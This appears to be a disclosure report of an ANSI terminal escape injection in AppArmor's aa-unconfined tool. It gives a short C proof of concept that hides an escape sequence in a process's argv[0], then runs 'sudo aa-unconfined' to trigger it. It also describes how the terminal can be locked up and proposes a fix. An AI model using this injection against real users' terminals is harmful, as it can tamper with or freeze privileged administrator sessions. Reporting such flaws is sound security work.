ANSI terminal injection possible in aa-unconfined
The following code displays a X as the title of an ANSI terminal. Without the final '\007' the terminal can be locked up.
The fix is not to trust cmdline in https://gitlab.com/apparmor/apparmor/-/blob/master/utils/aa-unconfined?ref_type=heads#L137 as proc(5) instructs.
$ cat > a.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <err.h>
int main(int argc, char *argv[]) {
struct sockaddr_in sin;
int s;
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
err(1, "socket()");
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
if (bind(s, (struct sockaddr*)&sin, sizeof(sin)) < 0)
err(1, "bind()");
strcpy(argv[0], "/\033]0;X\007");
while (1)
sleep(3600);
}
EOF
$ unset PROMPT_COMMAND
$ cc a.c
$ ./a.out &
$ sudo aa-unconfined